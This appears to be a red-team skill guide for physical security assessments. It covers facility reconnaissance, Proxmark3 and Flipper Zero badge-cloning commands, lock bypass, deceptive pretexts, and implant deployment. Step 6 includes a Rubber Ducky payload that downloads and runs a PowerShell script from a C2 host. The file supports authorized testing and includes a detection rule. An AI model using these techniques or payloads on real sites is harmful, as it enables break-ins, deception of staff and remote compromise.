<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-physical-security-assessment
description: >-
  Conduct physical security assessments including facility reconnaissance,
  social engineering pretexts, lock bypass, badge cloning, and physical
  access control testing.
domain: cybersecurity
subdomain: red-team
tags:
  - physical-security
  - social-engineering
  - badge-cloning
  - lock-bypass
  - tailgating
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1200", "T1091", "T1078.001"]
  tools: ["proxmark3", "flipper-zero", "hid-iclass", "lockpick-set"]
---

# Performing Physical Security Assessment

## Overview

Physical security is the foundation of all other controls. Red team physical
assessments test perimeter controls, access badges, locks, surveillance,
and human factors. A bypassed physical control undermines every digital
defense behind it.

## Prerequisites

- Written authorization with explicit scope (buildings, hours, limits)
- Emergency contact for law enforcement encounters
- Proxmark3 or Flipper Zero for badge cloning
- Lock pick set (legal in jurisdiction)
- Covert camera/audio documentation

```
Equipment checklist:
- Proxmark3 RDV4 / Flipper Zero
- Lock pick set (with tension wrenches)
- USB Rubber Ducky / LAN Turtle
- Hi-vis vest / clipboard / fake badge
- Covert body camera
```

## Key Concepts

### Physical Attack Categories

| Category | Description |
|----------|-------------|
| Tailgating | Follow authorized person through door |
| Badge cloning | Copy RFID/NFC credential |
| Lock bypass | Pick, shim, or bump locks |
| Social engineering | Pretexts to gain physical access |
| Dumpster diving | Recover sensitive documents |
| USB drop | Plant malicious USB devices |
| Network implant | Deploy rogue device on internal network |

### Common Access Card Technologies

| Technology | Frequency | Cloneable |
|------------|-----------|-----------|
| HID Prox (125 kHz) | Low | Trivial |
| HID iCLASS | 13.56 MHz | With keys |
| MIFARE Classic | 13.56 MHz | Known attacks |
| MIFARE DESFire | 13.56 MHz | Difficult |
| HID SEOS | 13.56 MHz | Not trivially |

## Workflow

### Step 1: Facility Reconnaissance

```
# External reconnaissance
- Satellite imagery (Google Earth) — perimeter, entry points, parking
- Street-level photos — camera positions, guard stations, badge readers
- Public records — building permits, fire escape routes
- Social media — employee badge photos, office photos
- Job postings — security vendor names, badge system types

# On-site passive reconnaissance
- Observe shift changes, delivery schedules
- Identify smoking areas (tailgate targets)
- Note camera coverage gaps
- Identify badge reader types (visual identification)
- Map emergency exits (often alarmed but accessible)
```

### Step 2: Badge Cloning with Proxmark3

```bash
# Read unknown card
proxmark3> lf search
proxmark3> hf search

# Read HID Prox (125 kHz)
proxmark3> lf hid read
# Output: HID Prox TAG ID: 2004263159 (H10301) - FC: 123 CN: 456

# Clone to T55x7
proxmark3> lf hid clone --r 2004263159

# Read MIFARE Classic
proxmark3> hf mf autopwn
# Dumps all sectors with known key attacks

# Simulate card (no physical clone needed)
proxmark3> lf hid sim --r 2004263159
```

### Step 3: Badge Cloning with Flipper Zero

```
# Flipper Zero workflow:
# 1. 125 kHz → Read → Hold card to back
# 2. Identify card type (EM4100, HID Prox, etc.)
# 3. Save → Name the credential
# 4. Emulate → Hold Flipper to badge reader

# NFC (13.56 MHz):
# 1. NFC → Read → Hold card
# 2. Save → Emulate
```

### Step 4: Lock Bypass Techniques

```
# Lock picking (standard pin tumbler)
1. Insert tension wrench, apply light rotation pressure
2. Insert pick, rake or single-pin pick
3. Set each pin at shear line
4. Lock opens when all pins set

# Common bypass methods:
- Shim attack — padlock shims between shackle and body
- Bump key — filed-down key + bump force sets pins
- Under-door tool — reach interior handle from gap
- Latch slip — credit card or shim between latch and strike

# Electronic lock bypass:
- Default codes (1234, 0000, manufacturer defaults)
- REX sensor activation (motion sensor near exit)
- Magnet attack on mag-lock (some models vulnerable)
```

### Step 5: Social Engineering Pretexts

```
# Effective pretexts:
- IT support — "I'm here to check the server room thermostat"
- Fire inspector — clipboard + hi-vis vest + authority
- Delivery driver — uniform + package + urgency
- New employee — "First day, my badge isn't working yet"
- Vendor/contractor — "Here for the scheduled maintenance"

# Pretext preparation:
- Research company uniform/dress code
- Create fake badge with company logo
- Prepare business cards
- Know employee names (LinkedIn, reception desk)
- Have a plausible reason and destination
```

### Step 6: Implant Deployment

```bash
# USB Rubber Ducky — keystroke injection
# Payload: open PowerShell, download and execute beacon
DELAY 500
GUI r
DELAY 200
STRING powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://C2/payload.ps1')"
ENTER

# LAN Turtle — network implant
# Plug into open ethernet port
# Auto-configures reverse SSH tunnel to C2

# Raspberry Pi implant
# Configure as network bridge with remote access
# Deploy in server room / under desk
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Tailgating | CCTV analytics | Two people, one badge swipe |
| Badge anomaly | Access control | Badge used at unusual time/location |
| Failed access | Access control | Multiple failed badge attempts |
| Unknown device | NAC/DHCP | New MAC on internal network |

```yaml
title: Physical Security — Badge Used Outside Normal Hours
id: 41526374-5869-7890-4567-890123456789
status: experimental
logsource:
  product: access_control
  category: physical
detection:
  selection:
    event_type: "badge_access"
    access_result: "granted"
  timeframe_exclusion:
    time_of_day: "06:00-20:00"
  condition: selection and not timeframe_exclusion
falsepositives:
  - Authorized after-hours maintenance
  - Night shift employees
level: medium
tags:
  - attack.t1200
  - attack.initial_access
```

## Verification

- [ ] Facility reconnaissance completed
- [ ] Physical access gained (method documented)
- [ ] Badge cloned or lock bypassed
- [ ] Implant deployed (if in scope)
- [ ] Full evidence chain with photos/video
- [ ] Detection artifacts documented

## References

- [Proxmark3](https://github.com/RfidResearchGroup/proxmark3)
- [Flipper Zero](https://flipperzero.one/)
- [MITRE T1200](https://attack.mitre.org/techniques/T1200/)
- [Deviant Ollam — Physical Security](https://deviating.net/)
